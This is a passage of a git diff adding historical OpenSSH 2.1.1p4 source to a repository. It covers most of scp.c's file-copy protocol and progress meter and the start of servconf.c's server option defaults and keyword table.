toremote(char *, int, char *[]); +void usage(void); + +int +main(argc, argv) + int argc; + char *argv[]; +{ + int ch, fflag, tflag; + char *targ; + extern char *optarg; + extern int optind; + + fflag = tflag = 0; + while ((ch = getopt(argc, argv, "dfprtvBCc:i:P:q46")) != EOF) + switch (ch) { + /* User-visible flags. */ + case '4': + IPv4 = 1; + break; + case '6': + IPv6 = 1; + break; + case 'p': + pflag = 1; + break; + case 'P': + port = optarg; + break; + case 'r': + iamrecursive = 1; + break; + /* Server options. */ + case 'd': + targetshouldbedirectory = 1; + break; + case 'f': /* "from" */ + iamremote = 1; + fflag = 1; + break; + case 't': /* "to" */ + iamremote = 1; + tflag = 1; + break; + case 'c': + cipher = optarg; + break; + case 'i': + identity = optarg; + break; + case 'v': + verbose_mode = 1; + break; + case 'B': + batchmode = 1; + break; + case 'C': + compress_flag = 1; + break; + case 'q': + showprogress = 0; + break; + case '?': + default: + usage(); + } + argc -= optind; + argv += optind; + + if ((pwd = getpwuid(userid = getuid())) == NULL) + fatal("unknown user %d", (int) userid); + + if (!isatty(STDERR_FILENO)) + showprogress = 0; + + remin = STDIN_FILENO; + remout = STDOUT_FILENO; + + if (fflag) { + /* Follow "protocol", send data. */ + (void) response(); + source(argc, argv); + exit(errs != 0); + } + if (tflag) { + /* Receive data. */ + sink(argc, argv); + exit(errs != 0); + } + if (argc < 2) + usage(); + if (argc > 2) + targetshouldbedirectory = 1; + + remin = remout = -1; + /* Command to be executed on remote system using "ssh". */ + (void) sprintf(cmd, "scp%s%s%s%s", verbose_mode ? " -v" : "", + iamrecursive ? " -r" : "", pflag ? " -p" : "", + targetshouldbedirectory ? " -d" : ""); + + (void) signal(SIGPIPE, lostconn); + + if ((targ = colon(argv[argc - 1]))) /* Dest is remote host. */ + toremote(targ, argc, argv); + else { + tolocal(argc, argv); /* Dest is local host. */ + if (targetshouldbedirectory) + verifydir(argv[argc - 1]); + } + exit(errs != 0); +} + +char * +cleanhostname(host) + char *host; +{ + if (*host == '[' && host[strlen(host) - 1] == ']') { + host[strlen(host) - 1] = '\0'; + return (host + 1); + } else + return host; +} + +void +toremote(targ, argc, argv) + char *targ, *argv[]; + int argc; +{ + int i, len; + char *bp, *host, *src, *suser, *thost, *tuser; + + *targ++ = 0; + if (*targ == 0) + targ = "."; + + if ((thost = strchr(argv[argc - 1], '@'))) { + /* user@host */ + *thost++ = 0; + tuser = argv[argc - 1]; + if (*tuser == '\0') + tuser = NULL; + else if (!okname(tuser)) + exit(1); + } else { + thost = argv[argc - 1]; + tuser = NULL; + } + + for (i = 0; i < argc - 1; i++) { + src = colon(argv[i]); + if (src) { /* remote to remote */ + *src++ = 0; + if (*src == 0) + src = "."; + host = strchr(argv[i], '@'); + len = strlen(SSH_PROGRAM) + strlen(argv[i]) + + strlen(src) + (tuser ? strlen(tuser) : 0) + + strlen(thost) + strlen(targ) + CMDNEEDS + 32; + bp = xmalloc(len); + if (host) { + *host++ = 0; + host = cleanhostname(host); + suser = argv[i]; + if (*suser == '\0') + suser = pwd->pw_name; + else if (!okname(suser)) + continue; + (void) sprintf(bp, + "%s%s -x -o'FallBackToRsh no' -n -l %s %s %s %s '%s%s%s:%s'", + SSH_PROGRAM, verbose_mode ? " -v" : "", + suser, host, cmd, src, + tuser ? tuser : "", tuser ? "@" : "", + thost, targ); + } else { + host = cleanhostname(argv[i]); + (void) sprintf(bp, + "exec %s%s -x -o'FallBackToRsh no' -n %s %s %s '%s%s%s:%s'", + SSH_PROGRAM, verbose_mode ? " -v" : "", + host, cmd, src, + tuser ? tuser : "", tuser ? "@" : "", + thost, targ); + } + if (verbose_mode) + fprintf(stderr, "Executing: %s\n", bp); + (void) system(bp); + (void) xfree(bp); + } else { /* local to remote */ + if (remin == -1) { + len = strlen(targ) + CMDNEEDS + 20; + bp = xmalloc(len); + (void) sprintf(bp, "%s -t %s", cmd, targ); + host = cleanhostname(thost); + if (do_cmd(host, tuser, + bp, &remin, &remout) < 0) + exit(1); + if (response() < 0) + exit(1); + (void) xfree(bp); + } + source(1, argv + i); + } + } +} + +void +tolocal(argc, argv) + int argc; + char *argv[]; +{ + int i, len; + char *bp, *host, *src, *suser; + + for (i = 0; i < argc - 1; i++) { + if (!(src = colon(argv[i]))) { /* Local to local. */ + len = strlen(_PATH_CP) + strlen(argv[i]) + + strlen(argv[argc - 1]) + 20; + bp = xmalloc(len); + (void) sprintf(bp, "exec %s%s%s %s %s", _PATH_CP, + iamrecursive ? " -r" : "", pflag ? " -p" : "", + argv[i], argv[argc - 1]); + if (verbose_mode) + fprintf(stderr, "Executing: %s\n", bp); + if (system(bp)) + ++errs; + (void) xfree(bp); + continue; + } + *src++ = 0; + if (*src == 0) + src = "."; + if ((host = strchr(argv[i], '@')) == NULL) { + host = argv[i]; + suser = NULL; + } else { + *host++ = 0; + suser = argv[i]; + if (*suser == '\0') + suser = pwd->pw_name; + else if (!okname(suser)) + continue; + } + host = cleanhostname(host); + len = strlen(src) + CMDNEEDS + 20; + bp = xmalloc(len); + (void) sprintf(bp, "%s -f %s", cmd, src); + if (do_cmd(host, suser, bp, &remin, &remout) < 0) { + (void) xfree(bp); + ++errs; + continue; + } + xfree(bp); + sink(1, argv + argc - 1); + (void) close(remin); + remin = remout = -1; + } +} + +void +source(argc, argv) + int argc; + char *argv[]; +{ + struct stat stb; + static BUF buffer; + BUF *bp; + off_t i; + int amt, fd, haderr, indx, result; + char *last, *name, buf[2048]; + + for (indx = 0; indx < argc; ++indx) { + name = argv[indx]; + statbytes = 0; + if ((fd = open(name, O_RDONLY, 0)) < 0) + goto syserr; + if (fstat(fd, &stb) < 0) { +syserr: run_err("%s: %s", name, strerror(errno)); + goto next; + } + switch (stb.st_mode & S_IFMT) { + case S_IFREG: + break; + case S_IFDIR: + if (iamrecursive) { + rsource(name, &stb); + goto next; + } + /* FALLTHROUGH */ + default: + run_err("%s: not a regular file", name); + goto next; + } + if ((last = strrchr(name, '/')) == NULL) + last = name; + else + ++last; + curfile = last; + if (pflag) { + /* + * Make it compatible with possible future + * versions expecting microseconds. + */ + (void) sprintf(buf, "T%lu 0 %lu 0\n", + (unsigned long) stb.st_mtime, + (unsigned long) stb.st_atime); + (void) atomicio(write, remout, buf, strlen(buf)); + if (response() < 0) + goto next; + } +#define FILEMODEMASK (S_ISUID|S_ISGID|S_IRWXU|S_IRWXG|S_IRWXO) + (void) sprintf(buf, "C%04o %lu %s\n", + (unsigned int) (stb.st_mode & FILEMODEMASK), + (unsigned long) stb.st_size, + last); + if (verbose_mode) { + fprintf(stderr, "Sending file modes: %s", buf); + fflush(stderr); + } + (void) atomicio(write, remout, buf, strlen(buf)); + if (response() < 0) + goto next; + if ((bp = allocbuf(&buffer, fd, 2048)) == NULL) { +next: (void) close(fd); + continue; + } + if (showprogress) { + totalbytes = stb.st_size; + progressmeter(-1); + } + /* Keep writing after an error so that we stay sync'd up. */ + for (haderr = i = 0; i < stb.st_size; i += bp->cnt) { + amt = bp->cnt; + if (i + amt > stb.st_size) + amt = stb.st_size - i; + if (!haderr) { + result = atomicio(read, fd, bp->buf, amt); + if (result != amt) + haderr = result >= 0 ? EIO : errno; + } + if (haderr) + (void) atomicio(write, remout, bp->buf, amt); + else { + result = atomicio(write, remout, bp->buf, amt); + if (result != amt) + haderr = result >= 0 ? EIO : errno; + statbytes += result; + } + } + if (showprogress) + progressmeter(1); + + if (close(fd) < 0 && !haderr) + haderr = errno; + if (!haderr) + (void) atomicio(write, remout, "", 1); + else + run_err("%s: %s", name, strerror(haderr)); + (void) response(); + } +} + +void +rsource(name, statp) + char *name; + struct stat *statp; +{ + DIR *dirp; + struct dirent *dp; + char *last, *vect[1], path[1100]; + + if (!(dirp = opendir(name))) { + run_err("%s: %s", name, strerror(errno)); + return; + } + last = strrchr(name, '/'); + if (last == 0) + last = name; + else + last++; + if (pflag) { + (void) sprintf(path, "T%lu 0 %lu 0\n", + (unsigned long) statp->st_mtime, + (unsigned long) statp->st_atime); + (void) atomicio(write, remout, path, strlen(path)); + if (response() < 0) { + closedir(dirp); + return; + } + } + (void) sprintf(path, "D%04o %d %.1024s\n", + (unsigned int) (statp->st_mode & FILEMODEMASK), + 0, last); + if (verbose_mode) + fprintf(stderr, "Entering directory: %s", path); + (void) atomicio(write, remout, path, strlen(path)); + if (response() < 0) { + closedir(dirp); + return; + } + while ((dp = readdir(dirp))) { + if (dp->d_ino == 0) + continue; + if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, "..")) + continue; + if (strlen(name) + 1 + strlen(dp->d_name) >= sizeof(path) - 1) { + run_err("%s/%s: name too long", name, dp->d_name); + continue; + } + (void) sprintf(path, "%s/%s", name, dp->d_name); + vect[0] = path; + source(1, vect); + } + (void) closedir(dirp); + (void) atomicio(write, remout, "E\n", 2); + (void) response(); +} + +void +sink(argc, argv) + int argc; + char *argv[]; +{ + static BUF buffer; + struct stat stb; + enum { + YES, NO, DISPLAYED + } wrerr; + BUF *bp; + off_t i, j; + int amt, count, exists, first, mask, mode, ofd, omode; + int setimes, size, targisdir, wrerrno = 0; + char ch, *cp, *np, *targ, *why, *vect[1], buf[2048]; + struct utimbuf ut; + int dummy_usec; + +#define SCREWUP(str) { why = str; goto screwup; } + + setimes = targisdir = 0; + mask = umask(0); + if (!pflag) + (void) umask(mask); + if (argc != 1) { + run_err("ambiguous target"); + exit(1); + } + targ = *argv; + if (targetshouldbedirectory) + verifydir(targ); + + (void) atomicio(write, remout, "", 1); + if (stat(targ, &stb) == 0 && S_ISDIR(stb.st_mode)) + targisdir = 1; + for (first = 1;; first = 0) { + cp = buf; + if (atomicio(read, remin, cp, 1) <= 0) + return; + if (*cp++ == '\n') + SCREWUP("unexpected "); + do { + if (atomicio(read, remin, &ch, sizeof(ch)) != sizeof(ch)) + SCREWUP("lost connection"); + *cp++ = ch; + } while (cp < &buf[sizeof(buf) - 1] && ch != '\n'); + *cp = 0; + + if (buf[0] == '\01' || buf[0] == '\02') { + if (iamremote == 0) + (void) atomicio(write, STDERR_FILENO, + buf + 1, strlen(buf + 1)); + if (buf[0] == '\02') + exit(1); + ++errs; + continue; + } + if (buf[0] == 'E') { + (void) atomicio(write, remout, "", 1); + return; + } + if (ch == '\n') + *--cp = 0; + +#define getnum(t) (t) = 0; \ + while (*cp >= '0' && *cp <= '9') (t) = (t) * 10 + (*cp++ - '0'); + cp = buf; + if (*cp == 'T') { + setimes++; + cp++; + getnum(ut.modtime); + if (*cp++ != ' ') + SCREWUP("mtime.sec not delimited"); + getnum(dummy_usec); + if (*cp++ != ' ') + SCREWUP("mtime.usec not delimited"); + getnum(ut.actime); + if (*cp++ != ' ') + SCREWUP("atime.sec not delimited"); + getnum(dummy_usec); + if (*cp++ != '\0') + SCREWUP("atime.usec not delimited"); + (void) atomicio(write, remout, "", 1); + continue; + } + if (*cp != 'C' && *cp != 'D') { + /* + * Check for the case "rcp remote:foo\* local:bar". + * In this case, the line "No match." can be returned + * by the shell before the rcp command on the remote is + * executed so the ^Aerror_message convention isn't + * followed. + */ + if (first) { + run_err("%s", cp); + exit(1); + } + SCREWUP("expected control record"); + } + mode = 0; + for (++cp; cp < buf + 5; cp++) { + if (*cp < '0' || *cp > '7') + SCREWUP("bad mode"); + mode = (mode << 3) | (*cp - '0'); + } + if (*cp++ != ' ') + SCREWUP("mode not delimited"); + + for (size = 0; *cp >= '0' && *cp <= '9';) + size = size * 10 + (*cp++ - '0'); + if (*cp++ != ' ') + SCREWUP("size not delimited"); + if (targisdir) { + static char *namebuf; + static int cursize; + size_t need; + + need = strlen(targ) + strlen(cp) + 250; + if (need > cursize) + namebuf = xmalloc(need); + (void) sprintf(namebuf, "%s%s%s", targ, + *targ ? "/" : "", cp); + np = namebuf; + } else + np = targ; + curfile = cp; + exists = stat(np, &stb) == 0; + if (buf[0] == 'D') { + int mod_flag = pflag; + if (exists) { + if (!S_ISDIR(stb.st_mode)) { + errno = ENOTDIR; + goto bad; + } + if (pflag) + (void) chmod(np, mode); + } else { + /* Handle copying from a read-only + directory */ + mod_flag = 1; + if (mkdir(np, mode | S_IRWXU) < 0) + goto bad; + } + vect[0] = np; + sink(1, vect); + if (setimes) { + setimes = 0; + if (utime(np, &ut) < 0) + run_err("%s: set times: %s", + np, strerror(errno)); + } + if (mod_flag) + (void) chmod(np, mode); + continue; + } + omode = mode; + mode |= S_IWRITE; + if ((ofd = open(np, O_WRONLY | O_CREAT | O_TRUNC, mode)) < 0) { +bad: run_err("%s: %s", np, strerror(errno)); + continue; + } + (void) atomicio(write, remout, "", 1); + if ((bp = allocbuf(&buffer, ofd, 4096)) == NULL) { + (void) close(ofd); + continue; + } + cp = bp->buf; + wrerr = NO; + + if (showprogress) { + totalbytes = size; + progressmeter(-1); + } + statbytes = 0; + for (count = i = 0; i < size; i += 4096) { + amt = 4096; + if (i + amt > size) + amt = size - i; + count += amt; + do { + j = atomicio(read, remin, cp, amt); + if (j <= 0) { + run_err("%s", j ? strerror(errno) : + "dropped connection"); + exit(1); + } + amt -= j; + cp += j; + statbytes += j; + } while (amt > 0); + if (count == bp->cnt) { + /* Keep reading so we stay sync'd up. */ + if (wrerr == NO) { + j = atomicio(write, ofd, bp->buf, count); + if (j != count) { + wrerr = YES; + wrerrno = j >= 0 ? EIO : errno; + } + } + count = 0; + cp = bp->buf; + } + } + if (showprogress) + progressmeter(1); + if (count != 0 && wrerr == NO && + (j = atomicio(write, ofd, bp->buf, count)) != count) { + wrerr = YES; + wrerrno = j >= 0 ? EIO : errno; + } +#if 0 + if (ftruncate(ofd, size)) { + run_err("%s: truncate: %s", np, strerror(errno)); + wrerr = DISPLAYED; + } +#endif + if (pflag) { + if (exists || omode != mode) + if (fchmod(ofd, omode)) + run_err("%s: set mode: %s", + np, strerror(errno)); + } else { + if (!exists && omode != mode) + if (fchmod(ofd, omode & ~mask)) + run_err("%s: set mode: %s", + np, strerror(errno)); + } + if (close(ofd) == -1) { + wrerr = YES; + wrerrno = errno; + } + (void) response(); + if (setimes && wrerr == NO) { + setimes = 0; + if (utime(np, &ut) < 0) { + run_err("%s: set times: %s", + np, strerror(errno)); + wrerr = DISPLAYED; + } + } + switch (wrerr) { + case YES: + run_err("%s: %s", np, strerror(wrerrno)); + break; + case NO: + (void) atomicio(write, remout, "", 1); + break; + case DISPLAYED: + break; + } + } +screwup: + run_err("protocol error: %s", why); + exit(1); +} + +int +response() +{ + char ch, *cp, resp, rbuf[2048]; + + if (atomicio(read, remin, &resp, sizeof(resp)) != sizeof(resp)) + lostconn(0); + + cp = rbuf; + switch (resp) { + case 0: /* ok */ + return (0); + default: + *cp++ = resp; + /* FALLTHROUGH */ + case 1: /* error, followed by error msg */ + case 2: /* fatal error, "" */ + do { + if (atomicio(read, remin, &ch, sizeof(ch)) != sizeof(ch)) + lostconn(0); + *cp++ = ch; + } while (cp < &rbuf[sizeof(rbuf) - 1] && ch != '\n'); + + if (!iamremote) + (void) atomicio(write, STDERR_FILENO, rbuf, cp - rbuf); + ++errs; + if (resp == 1) + return (-1); + exit(1); + } + /* NOTREACHED */ +} + +void +usage() +{ + (void) fprintf(stderr, + "usage: scp [-pqrvC46] [-P port] [-c cipher] [-i identity] f1 f2; or:\n scp [options] f1 ... fn directory\n"); + exit(1); +} + +void +run_err(const char *fmt,...) +{ + static FILE *fp; + va_list ap; + + ++errs; + if (fp == NULL && !(fp = fdopen(remout, "w"))) + return; + (void) fprintf(fp, "%c", 0x01); + (void) fprintf(fp, "scp: "); + va_start(ap, fmt); + (void) vfprintf(fp, fmt, ap); + va_end(ap); + (void) fprintf(fp, "\n"); + (void) fflush(fp); + + if (!iamremote) { + va_start(ap, fmt); + vfprintf(stderr, fmt, ap); + va_end(ap); + fprintf(stderr, "\n"); + } +} + +/* Stuff below is from BSD rcp util.c. */ + +/*- + * Copyright (c) 1992, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $OpenBSD: scp.c,v 1.33 2000/07/13 23:19:31 provos Exp $ + */ + +char * +colon(cp) + char *cp; +{ + int flag = 0; + + if (*cp == ':') /* Leading colon is part of file name. */ + return (0); + if (*cp == '[') + flag = 1; + + for (; *cp; ++cp) { + if (*cp == '@' && *(cp+1) == '[') + flag = 1; + if (*cp == ']' && *(cp+1) == ':' && flag) + return (cp+1); + if (*cp == ':' && !flag) + return (cp); + if (*cp == '/') + return (0); + } + return (0); +} + +void +verifydir(cp) + char *cp; +{ + struct stat stb; + + if (!stat(cp, &stb)) { + if (S_ISDIR(stb.st_mode)) + return; + errno = ENOTDIR; + } + run_err("%s: %s", cp, strerror(errno)); + exit(1); +} + +int +okname(cp0) + char *cp0; +{ + int c; + char *cp; + + cp = cp0; + do { + c = *cp; + if (c & 0200) + goto bad; + if (!isalpha(c) && !isdigit(c) && c != '_' && c != '-') + goto bad; + } while (*++cp); + return (1); + +bad: fprintf(stderr, "%s: invalid user name\n", cp0); + return (0); +} + +BUF * +allocbuf(bp, fd, blksize) + BUF *bp; + int fd, blksize; +{ + size_t size; + struct stat stb; + + if (fstat(fd, &stb) < 0) { + run_err("fstat: %s", strerror(errno)); + return (0); + } + if (stb.st_blksize == 0) + size = blksize; + else + size = blksize + (stb.st_blksize - blksize % stb.st_blksize) % + stb.st_blksize; + if (bp->cnt >= size) + return (bp); + if (bp->buf == NULL) + bp->buf = xmalloc(size); + else + bp->buf = xrealloc(bp->buf, size); + bp->cnt = size; + return (bp); +} + +void +lostconn(signo) + int signo; +{ + if (!iamremote) + fprintf(stderr, "lost connection\n"); + exit(1); +} + + +void +alarmtimer(int wait) +{ + struct itimerval itv; + + itv.it_value.tv_sec = wait; + itv.it_value.tv_usec = 0; + itv.it_interval = itv.it_value; + setitimer(ITIMER_REAL, &itv, NULL); +} + +void +updateprogressmeter(int ignore) +{ + int save_errno = errno; + + progressmeter(0); + errno = save_errno; +} + +int +foregroundproc() +{ + static pid_t pgrp = -1; + int ctty_pgrp; + + if (pgrp == -1) + pgrp = getpgrp(); + + return ((ioctl(STDOUT_FILENO, TIOCGPGRP, &ctty_pgrp) != -1 && + ctty_pgrp == pgrp)); +} + +void +progressmeter(int flag) +{ + static const char prefixes[] = " KMGTP"; + static struct timeval lastupdate; + static off_t lastsize; + struct timeval now, td, wait; + off_t cursize, abbrevsize; + double elapsed; + int ratio, barlength, i, remaining; + char buf[256]; + + if (flag == -1) { + (void) gettimeofday(&start, (struct timezone *) 0); + lastupdate = start; + lastsize = 0; + } + if (foregroundproc() == 0) + return; + + (void) gettimeofday(&now, (struct timezone *) 0); + cursize = statbytes; + if (totalbytes != 0) { + ratio = 100.0 * cursize / totalbytes; + ratio = MAX(ratio, 0); + ratio = MIN(ratio, 100); + } else + ratio = 100; + + snprintf(buf, sizeof(buf), "\r%-20.20s %3d%% ", curfile, ratio); + + barlength = getttywidth() - 51; + barlength = (barlength <= MAX_BARLENGTH)?barlength:MAX_BARLENGTH; + if (barlength > 0) { + i = barlength * ratio / 100; + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + "|%.*s%*s|", i, BAR, barlength - i, ""); + } + i = 0; + abbrevsize = cursize; + while (abbrevsize >= 100000 && i < sizeof(prefixes)) { + i++; + abbrevsize >>= 10; + } + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), " %5d %c%c ", + (int) abbrevsize, prefixes[i], prefixes[i] == ' ' ? ' ' : + 'B'); + + timersub(&now, &lastupdate, &wait); + if (cursize > lastsize) { + lastupdate = now; + lastsize = cursize; + if (wait.tv_sec >= STALLTIME) { + start.tv_sec += wait.tv_sec; + start.tv_usec += wait.tv_usec; + } + wait.tv_sec = 0; + } + timersub(&now, &start, &td); + elapsed = td.tv_sec + (td.tv_usec / 1000000.0); + + if (statbytes <= 0 || elapsed <= 0.0 || cursize > totalbytes) { + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + " --:-- ETA"); + } else if (wait.tv_sec >= STALLTIME) { + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + " - stalled -"); + } else { + if (flag != 1) + remaining = + (int)(totalbytes / (statbytes / elapsed) - elapsed); + else + remaining = elapsed; + + i = remaining / 3600; + if (i) + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + "%2d:", i); + else + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + " "); + i = remaining % 3600; + snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), + "%02d:%02d%s", i / 60, i % 60, + (flag != 1) ? " ETA" : " "); + } + atomicio(write, fileno(stdout), buf, strlen(buf)); + + if (flag == -1) { + struct sigaction sa; + sa.sa_handler = updateprogressmeter; + sigemptyset(&sa.sa_mask); +#ifdef SA_RESTART + sa.sa_flags = SA_RESTART; +#endif + sigaction(SIGALRM, &sa, NULL); + alarmtimer(1); + } else if (flag == 1) { + alarmtimer(0); + atomicio(write, fileno(stdout), "\n", 1); + statbytes = 0; + } +} + +int +getttywidth(void) +{ + struct winsize winsize; + + if (ioctl(fileno(stdout), TIOCGWINSZ, &winsize) != -1) + return (winsize.ws_col ? winsize.ws_col : 80); + else + return (80); +} diff --git a/other/openssh-2.1.1p4/servconf.c b/other/openssh-2.1.1p4/servconf.c new file mode 100644 index 0000000..477204c --- /dev/null +++ b/other/openssh-2.1.1p4/servconf.c @@ -0,0 +1,668 @@ +/* + * + * servconf.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Aug 21 15:48:58 1995 ylo + * + */ + +#include "includes.h" +RCSID("$OpenBSD: servconf.c,v 1.49 2000/07/14 22:59:46 markus Exp $"); + +#include "ssh.h" +#include "servconf.h" +#include "xmalloc.h" +#include "compat.h" + +/* add listen address */ +void add_listen_addr(ServerOptions *options, char *addr); + +/* Initializes the server options to their default values. */ + +void +initialize_server_options(ServerOptions *options) +{ + memset(options, 0, sizeof(*options)); + options->num_ports = 0; + options->ports_from_cmdline = 0; + options->listen_addrs = NULL; + options->host_key_file = NULL; + options->host_dsa_key_file = NULL; + options->pid_file = NULL; + options->server_key_bits = -1; + options->login_grace_time = -1; + options->key_regeneration_time = -1; + options->permit_root_login = -1; + options->ignore_rhosts = -1; + options->ignore_user_known_hosts = -1; + options->print_motd = -1; + options->check_mail = -1; + options->x11_forwarding = -1; + options->x11_display_offset = -1; + options->xauth_location = NULL; + options->strict_modes = -1; + options->keepalives = -1; + options->log_facility = (SyslogFacility) - 1; + options->log_level = (LogLevel) - 1; + options->rhosts_authentication = -1; + options->rhosts_rsa_authentication = -1; + options->rsa_authentication = -1; + options->dsa_authentication = -1; +#ifdef KRB4 + options->kerberos_authentication = -1; + options->kerberos_or_local_passwd = -1; + options->kerberos_ticket_cleanup = -1; +#endif +#ifdef AFS + options->kerberos_tgt_passing = -1; + options->afs_token_passing = -1; +#endif + options->password_authentication = -1; +#ifdef SKEY + options->skey_authentication = -1; +#endif + options->permit_empty_passwd = -1; + options->use_login = -1; + options->num_allow_users = 0; + options->num_deny_users = 0; + options->num_allow_groups = 0; + options->num_deny_groups = 0; + options->ciphers = NULL; + options->protocol = SSH_PROTO_UNKNOWN; + options->gateway_ports = -1; + options->num_subsystems = 0; + options->max_startups = -1; +} + +void +fill_default_server_options(ServerOptions *options) +{ + if (options->num_ports == 0) + options->ports[options->num_ports++] = SSH_DEFAULT_PORT; + if (options->listen_addrs == NULL) + add_listen_addr(options, NULL); + if (options->host_key_file == NULL) + options->host_key_file = HOST_KEY_FILE; + if (options->host_dsa_key_file == NULL) + options->host_dsa_key_file = HOST_DSA_KEY_FILE; + if (options->pid_file == NULL) + options->pid_file = SSH_DAEMON_PID_FILE; + if (options->server_key_bits == -1) + options->server_key_bits = 768; + if (options->login_grace_time == -1) + options->login_grace_time = 600; + if (options->key_regeneration_time == -1) + options->key_regeneration_time = 3600; + if (options->permit_root_login == -1) + options->permit_root_login = 1; /* yes */ + if (options->ignore_rhosts == -1) + options->ignore_rhosts = 1; + if (options->ignore_user_known_hosts == -1) + options->ignore_user_known_hosts = 0; + if (options->check_mail == -1) + options->check_mail = 0; + if (options->print_motd == -1) + options->print_motd = 1; + if (options->x11_forwarding == -1) + options->x11_forwarding = 0; + if (options->x11_display_offset == -1) + options->x11_display_offset = 10; +#ifdef XAUTH_PATH + if (options->xauth_location == NULL) + options->xauth_location = XAUTH_PATH; +#endif /* XAUTH_PATH */ + if (options->strict_modes == -1) + options->strict_modes = 1; + if (options->keepalives == -1) + options->keepalives = 1; + if (options->log_facility == (SyslogFacility) (-1)) + options->log_facility = SYSLOG_FACILITY_AUTH; + if (options->log_level == (LogLevel) (-1)) + options->log_level = SYSLOG_LEVEL_INFO; + if (options->rhosts_authentication == -1) + options->rhosts_authentication = 0; + if (options->rhosts_rsa_authentication == -1) + options->rhosts_rsa_authentication = 0; + if (options->rsa_authentication == -1) + options->rsa_authentication = 1; + if (options->dsa_authentication == -1) + options->dsa_authentication = 1; +#ifdef KRB4 + if (options->kerberos_authentication == -1) + options->kerberos_authentication = (access(KEYFILE, R_OK) == 0); + if (options->kerberos_or_local_passwd == -1) + options->kerberos_or_local_passwd = 1; + if (options->kerberos_ticket_cleanup == -1) + options->kerberos_ticket_cleanup = 1; +#endif /* KRB4 */ +#ifdef AFS + if (options->kerberos_tgt_passing == -1) + options->kerberos_tgt_passing = 0; + if (options->afs_token_passing == -1) + options->afs_token_passing = k_hasafs(); +#endif /* AFS */ + if (options->password_authentication == -1) + options->password_authentication = 1; +#ifdef SKEY + if (options->skey_authentication == -1) + options->skey_authentication = 1; +#endif + if (options->permit_empty_passwd == -1) + options->permit_empty_passwd = 0; + if (options->use_login == -1) + options->use_login = 0; + if (options->protocol == SSH_PROTO_UNKNOWN) + options->protocol = SSH_PROTO_1|SSH_PROTO_2; + if (options->gateway_ports == -1) + options->gateway_ports = 0; + if (options->max_startups == -1) + options->max_startups = 10; +} + +/* Keyword tokens. */ +typedef enum { + sBadOption, /* == unknown option */ + sPort, sHostKeyFile, sServerKeyBits, sLoginGraceTime, sKeyRegenerationTime, + sPermitRootLogin, sLogFacility, sLogLevel, + sRhostsAuthentication, sRhostsRSAAuthentication, sRSAAuthentication, +#ifdef KRB4 + sKerberosAuthentication, sKerberosOrLocalPasswd, sKerberosTicketCleanup, +#endif +#ifdef AFS + sKerberosTgtPassing, sAFSTokenPassing, +#endif +#ifdef SKEY + sSkeyAuthentication, +#endif + sPasswordAuthentication, sListenAddress, + sPrintMotd, sIgnoreRhosts, sX11Forwarding, sX11DisplayOffset, + sStrictModes, sEmptyPasswd, sRandomSeedFile, sKeepAlives, sCheckMail, + sUseLogin, sAllowUsers, sDenyUsers, sAllowGroups, sDenyGroups, + sIgnoreUserKnownHosts, sHostDSAKeyFile, sCiphers, sProtocol, sPidFile, + sGatewayPorts, sDSAAuthentication, sXAuthLocation, sSubsystem, sMaxStartups +} ServerOpCodes; + +/* Textual representation of the tokens. */ +static struct { + const char *name; + ServerOpCodes opcode; +} keywords[] = { + { "port", sPort }, + { "hostkey", sHostKeyFile }, + { "hostdsakey", sHostDSAKeyFile }, + { "pidfile", sPidFile }, + { "serverkeybits", sServerKeyBits }, + { "logingracetime", sLoginGraceTime }, + { "keyregenerationinterval", sKeyRegenerationTime }, + { "permitrootlogin", sPermitRootLogin }, + { "syslogfacility", sLogFacility }, + { "loglevel", sLogLevel }, + { "rhostsauthentication", sRhostsAuthentication }, + { "rhostsrsaauthentication", sRhostsRSAAuthentication }, + { "rsaauthentication", sRSAAuthentication }, + { "dsaauthentication", sDSAAuthentication }, +#ifdef KRB4 + { "kerberosauthentication", sKerberosAuthentication }, + { "kerberosorlocalpasswd", sKerberosOrLocalPasswd }, + { "kerberosticketcleanup", sKerberosTicketCleanup }, +#endif +#ifdef AFS + { "kerberostgtpassing", sKerberosTgtPassing }, + { "afstokenpassing", sAFSTokenPassing }, +#endif + { "passwordauthentication", sPasswordAuthentication }, +#ifdef SKEY + { "skeyauthentication", sSkeyAuthentication }, +#endif + { "checkmail", sCheckMail }, + { "listenaddress", sListenAddress }, + { "printmotd", sPrintMotd }, + { "ignorerhosts", sIgnoreRhosts }, + { "ignoreuserknownhosts", sIgnoreUserKnownHosts }, + { 